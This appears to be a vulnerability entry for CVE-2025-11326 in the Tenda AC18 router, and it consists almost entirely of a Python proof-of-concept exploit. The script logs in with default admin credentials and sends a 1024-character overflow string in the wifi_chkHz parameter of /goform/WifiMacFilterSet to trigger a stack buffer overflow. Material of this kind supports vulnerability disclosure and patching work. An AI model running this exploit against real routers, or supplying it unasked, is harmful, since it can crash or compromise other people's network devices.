CVE-2025-11326：Tenda AC18 WifiMacFilterSet栈缓冲区溢出漏洞

import requests # CVE-2025-11326 - Tenda AC18 Stack-based Buffer Overflow # Affected: Tenda AC18 firmware 15.03.05.19(6318) # Vulnerable endpoint: /goform/WifiMacFilterSet # Vulnerable parameter: wifi_chkHz TARGET_URL = "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): # Step 1: Authenticate to the router session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login/Auth", data=login_data) # Step 2: Craft malicious payload for wifi_chkHz parameter # Overflow the stack buffer with a long string payload = "A" * 1024 # Buffer overflow payload # Step 3: Send the exploit request to the vulnerable endpoint exploit_data = { "wifi_chkHz": payload } response = session.post( f"{TARGET_URL}/goform/WifiMacFilterSet", data=exploit_data ) print(f"Exploit sent. Status: {response.status_code}") if __name__ == "__main__": exploit()